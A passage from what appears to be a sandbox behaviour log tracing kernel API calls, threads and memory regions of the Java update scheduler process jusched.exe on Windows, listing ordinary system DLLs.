FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\snmptrap.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.709] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lmhsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.710] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lmhsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.712] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lmhsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.757] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lmhsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.759] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.761] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.762] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.764] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.767] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.768] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.772] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.773] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.774] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.776] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.809] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ntmarta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.809] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.852] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelEvents.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.867] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelEvents.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.877] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.879] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.880] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.880] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.881] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.882] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.883] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.884] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.885] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.886] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.887] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.888] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.889] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.890] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PeerDistSh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.897] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sstpsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.899] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sstpsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.900] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netlogon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.901] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netlogon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.902] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\snmptrap.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.902] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\snmptrap.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.903] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\snmptrap.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.904] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\snmptrap.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.908] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\provsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.910] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\provsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.912] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\provsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.913] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\provsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.915] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\provsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.917] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\provsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.918] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\provsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.919] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\provsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 401 os_tid = 0x670 Thread: id = 403 os_tid = 0x678 Thread: id = 408 os_tid = 0x68c Thread: id = 417 os_tid = 0x6b8 [0103.380] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dps.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.468] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.471] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\taskschd.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 420 os_tid = 0x6c4 Thread: id = 421 os_tid = 0x6c8 [0109.339] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netprofm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.340] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nlaapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.342] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.348] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.691] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\npmproxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 422 os_tid = 0x6cc Thread: id = 423 os_tid = 0x6d0 Thread: id = 471 os_tid = 0x798 [0108.782] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wdi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 476 os_tid = 0x7ac [0109.284] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\radardt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0109.287] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wtsapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 480 os_tid = 0x7bc [0109.311] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wdiasqmmodule.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 481 os_tid = 0x7c0 Thread: id = 483 os_tid = 0x7c8 [0115.547] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\bcrypt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 484 os_tid = 0x7cc Thread: id = 485 os_tid = 0x7d0 Thread: id = 521 os_tid = 0x214 Process: id = "34" image_name = "jusched.exe" filename = "c:\\program files (x86)\\common files\\java\\java update\\jusched.exe" page_root = "0x7b4dd000" os_pid = "0x5f8" monitor_reason = "child_process" parent_id = "27" os_parent_pid = "0x4d0" cmd_line = "\"C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe\" " cur_dir = "C:\\Windows\\SysWOW64\\" Region: id = 3108 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3109 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3110 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 3111 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3112 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3113 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3114 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3115 start_va = 0xe80000 end_va = 0xf14fff entry_point = 0xebaea3 region_type = mapped_file name = "jusched.exe" filename = "\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe" Region: id = 3116 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 3117 start_va = 0x77e30000 end_va = 0x77faffff entry_point = 0x77e30000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" Region: id = 3118 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3119 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3120 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3121 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3122 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3123 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3124 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3131 start_va = 0x1a0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3132 start_va = 0x74560000 end_va = 0x74567fff entry_point = 0x745620f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" Region: id = 3133 start_va = 0x74570000 end_va = 0x745cbfff entry_point = 0x745af798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" Region: id = 3134 start_va = 0x745d0000 end_va = 0x7460efff entry_point = 0x745fde78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" Region: id = 3150 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3151 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3152 start_va = 0x70000 end_va = 0x7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3153 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 3154 start_va = 0x3c0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3155 start_va = 0x610000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 3156 start_va = 0x75490000 end_va = 0x756cffff entry_point = 0x754966bd region_type = mapped_file name = "msi.dll" filename = "\\Windows\\SysWOW64\\msi.dll" Region: id = 3157 start_va = 0x75960000 end_va = 0x75968fff entry_point = 0x75961220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" Region: id = 3158 start_va = 0x75980000 end_va = 0x7598bfff entry_point = 0x759810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" Region: id = 3159 start_va = 0x75990000 end_va = 0x759effff entry_point = 0x759aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" Region: id = 3160 start_va = 0x75a80000 end_va = 0x75b7ffff entry_point = 0x75a9b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" Region: id = 3161 start_va = 0x75b80000 end_va = 0x75c9cfff entry_point = 0x75b8158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" Region: id = 3162 start_va = 0x75ca0000 end_va = 0x75d3cfff entry_point = 0x75cd3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" Region: id = 3163 start_va = 0x75d60000 end_va = 0x75ebbfff entry_point = 0x75daba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" Region: id = 3164 start_va = 0x75ec0000 end_va = 0x75fb4fff entry_point = 0x75ec1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" Region: id = 3165 start_va = 0x75fc0000 end_va = 0x7606bfff entry_point = 0x75fca472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" Region: id = 3166 start_va = 0x76210000 end_va = 0x76266fff entry_point = 0x76229ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" Region: id = 3167 start_va = 0x76300000 end_va = 0x7640ffff entry_point = 0x763132d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" Region: id = 3168 start_va = 0x764d0000 end_va = 0x764dbfff entry_point = 0x764d238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" Region: id = 3169 start_va = 0x76510000 end_va = 0x765fffff entry_point = 0x76520569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" Region: id = 3170 start_va = 0x76600000 end_va = 0x76609fff entry_point = 0x766036a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" Region: id = 3171 start_va = 0x76610000 end_va = 0x77259fff entry_point = 0x76691601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" Region: id = 3172 start_va = 0x772d0000 end_va = 0x7736ffff entry_point = 0x772e49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" Region: id = 3173 start_va = 0x77370000 end_va = 0x77388fff entry_point = 0x77374975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" Region: id = 3174 start_va = 0x77390000 end_va = 0x7741ffff entry_point = 0x773a6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" Region: id = 3175 start_va = 0x77480000 end_va = 0x774c5fff entry_point = 0x77487478 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" Region: id = 3176 start_va = 0x77510000 end_va = 0x7770afff entry_point = 0x775122d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" Region: id = 3177 start_va = 0x777e0000 end_va = 0x77915fff entry_point = 0x777e1b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" Region: id = 3178 start_va = 0x77950000 end_va = 0x779defff entry_point = 0x77953fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" Region: id = 3179 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x0 region_type = private name = "private_0x0000000077a30000" filename = "" Region: id = 3180 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x0 region_type = private name = "private_0x0000000077b50000" filename = "" Region: id = 3181 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3182 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3188 start_va = 0x620000 end_va = 0x7a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 3189 start_va = 0x77420000 end_va = 0x7747ffff entry_point = 0x7743158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" Region: id = 3190 start_va = 0x77710000 end_va = 0x777dbfff entry_point = 0x7771168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" Region: id = 3191 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 3192 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3193 start_va = 0x7b0000 end_va = 0x930fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 3194 start_va = 0xf20000 end_va = 0x231ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f20000" filename = "" Region: id = 3195 start_va = 0x77920000 end_va = 0x77949fff entry_point = 0x779212fa region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\SysWOW64\\imagehlp.dll" Region: id = 3196 start_va = 0xb00000 end_va = 0xb3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 3197 start_va = 0x2320000 end_va = 0x25eefff entry_point = 0x2320000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 3293 start_va = 0x340000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 3294 start_va = 0x5e0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3295 start_va = 0x758e0000 end_va = 0x7595ffff entry_point = 0x758f37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" Thread: id = 370 os_tid = 0x5fc [0099.558] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.558] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.558] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\SysWOW64\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.560] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cff000 [0099.560] IdePortDispatch () returned 0x103 [0099.728] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wow64.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.728] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wow64win.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.728] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wow64cpu.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.732] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0099.732] IoIs32bitProcess (Irp=0x0) returned 1 [0099.732] RtlImageNtHeader (BaseAddress=0x77a30000) returned 0x77a300e8 [0099.733] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0099.733] IoIs32bitProcess (Irp=0x0) returned 1 [0099.733] RtlImageNtHeader (BaseAddress=0x76300000) returned 0x763000e8 [0099.733] IoGetCurrentProcess () returned 0xfffffa8003923630 [0099.733] PsGetProcessPeb () returned 0x7efdf000 [0099.733] IoGetCurrentProcess () returned 0xfffffa8003923630 [0099.733] PsGetProcessPeb () returned 0x7efdf000 [0099.733] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0099.733] IoIs32bitProcess (Irp=0x0) returned 1 [0099.733] RtlImageNtHeader (BaseAddress=0x77a30000) returned 0x77a300e8 [0099.733] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.736] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0099.736] IoIs32bitProcess (Irp=0x0) returned 1 [0099.736] RtlImageNtHeader (BaseAddress=0x76300000) returned 0x763000e8 [0099.736] IoGetCurrentProcess () returned 0xfffffa8003923630 [0099.736] PsGetProcessPeb () returned 0x7efdf000 [0099.736] IoGetCurrentProcess () returned 0xfffffa8003923630 [0099.736] PsGetProcessPeb () returned 0x7efdf000 [0099.736] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80034e8e40 [0099.736] KeInitializeApc (Apc=0xfffffa80034e8e40, Thread=0xfffffa80033ffb60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0099.736] KeInsertQueueApc (Apc=0xfffffa80034e8e40, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0099.736] ExFreePoolWithTag (P=0xfffffa80034e8e40, Tag=0x0) [0099.736] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa800392c4f0 [0099.736] IoGetCurrentProcess () returned 0xfffffa8003923630 [0099.736] PsGetCurrentProcessId () returned 0x5f8 [0099.736] IoIs32bitProcess (Irp=0x0) returned 1 [0099.736] KeInitializeEvent (in: Event=0xfffffa800392c530, Type=0x0, State=0 | out: Event=0xfffffa800392c530) [0099.736] ExQueueWorkItem (in: WorkItem=0xfffffa800392c4f0*(List.Flink=0x0, List.Blink=0x630065006c0065, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800392c4f0), QueueType=0x1 | out: WorkItem=0xfffffa800392c4f0*(List.Flink=0x0, List.Blink=0x630065006c0065, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800392c4f0)) [0099.764] KeWaitForMutexObject () returned 0x0 [0099.923] ExFreePoolWithTag (P=0xfffffa800392c4f0, Tag=0x0) [0099.924] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.926] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb9000 [0099.926] IdePortDispatch () returned 0x103 [0099.933] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.934] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.096] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.096] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.097] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.097] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.098] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.098] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.099] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.099] FsRtlIsNameInExpression 